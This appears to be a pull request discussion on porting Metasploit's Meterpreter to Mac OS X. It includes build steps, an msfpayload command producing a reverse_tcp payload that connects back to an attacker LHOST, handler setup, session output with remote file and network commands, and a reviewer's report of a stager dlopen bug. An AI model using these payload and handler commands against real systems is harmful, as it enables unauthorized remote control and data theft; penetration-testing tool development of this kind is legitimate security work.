Mac OS X Meterpreter

Here is my initial try to port posix meterpreter to osx, I have succeeded to port and get a working payload. it still needs more work but for now you are able to generate a reverse_tcp payload and get a working meterpreter session. currently I have just recompiled some of stdapi extension commands, I will recompile the remaining by time.

I have to mention that the building process must be using a Mac OS X 10.5+

To build meterpreter 
```
make clean && make osx
```

To install meterpreter
 ```
make install-darwin
```

To generate reverse_tcp payload
```
ruby msfpayload osx/x86/meterpreter/reverse_tcp LHOST=10.0.0.100 R > osx.bin
```

to launch the handler
```
ruby msfconsole -x 'use multi/handler;set PAYLOAD osx/x86/meterpreter/reverse_tcp;set LHOST 0.0.0.0;exploit'

PAYLOAD => osx/x86/meterpreter/reverse_tcp
LHOST => 10.0.0.100
[*] Started reverse handler on 10.0.0.100:4444 
[*] Starting the payload handler...
[*] Preparing support library (91752 bytes)...
[*] Preparing metsrv library (29312 bytes)...
[*] Sending stage (121072 bytes) to 10.0.0.100
[*] Meterpreter session 1 opened (10.0.0.100:4444 -> 10.0.0.100:37047) at 2014-06-30 03:49:15 +0200

meterpreter > help

Core Commands
=============

    Command                   Description
    -------                   -----------
    ?                         Help menu
    background                Backgrounds the current session
    bgkill                    Kills a background meterpreter script
    bglist                    Lists running background scripts
    bgrun                     Executes a meterpreter script as a background thread
    channel                   Displays information about active channels
    close                     Closes a channel
    disable_unicode_encoding  Disables encoding of unicode strings
    enable_unicode_encoding   Enables encoding of unicode strings
    exit                      Terminate the meterpreter session
    help                      Help menu
    info                      Displays information about a Post module
    interact                  Interacts with a channel
    irb                       Drop into irb scripting mode
    load                      Load one or more meterpreter extensions
    quit                      Terminate the meterpreter session
    read                      Reads data from a channel
    resource                  Run the commands stored in a file
    run                       Executes a meterpreter script or Post module
    use                       Deprecated alias for 'load'
    write                     Writes data to a channel


Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcd           Change local working directory
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    upload        Upload a file or directory


Stdapi: Networking Commands
===========================

    Command       Description
    -------       -----------
    netstat       Display the network connections
    portfwd       Forward a local port to a remote service


Stdapi: System Commands
=======================

    Command       Description
    -------       -----------
    getenv        Get one or more environment variable values
    getpid        Get the current process identifier
    getuid        Get the user that the server is running as
    sysinfo       Gets information about the remote system, such as OS

meterpreter > sysinfo 
Computer     : Anwars-Mac.local
OS           : Darwin Anwars-Mac.local 13.2.0 Darwin Kernel Version 13.2.0: Thu Apr 17 23:03:13 PDT 2014; root:xnu-2422.100.13~1/RELEASE_X86_64
Architecture : x86_64
Meterpreter  : x86/osx
meterpreter > exit
[*] Shutting down Meterpreter...

```
You're not checking if dlopen returns null (error). On my tests this dlopen is returning null, so the stager finally fails. After adding perror handling code:

```
[*] dlopen libmetsrv.dylib ...
dlopen: No such file or directory
[!] Error loading libmetsrv :(
```

perror says file not found but it is there:

```
$ ls -la /tmp/libmetsrv.dylib
-rw-r--r--  1 jvazquez  wheel  31464 Sep 10 13:09 /tmp/libmetsrv.dylib
$ file /tmp/libmetsrv.dylib
/tmp/libmetsrv.dylib: Mach-O dynamically linked shared library i386
```

:?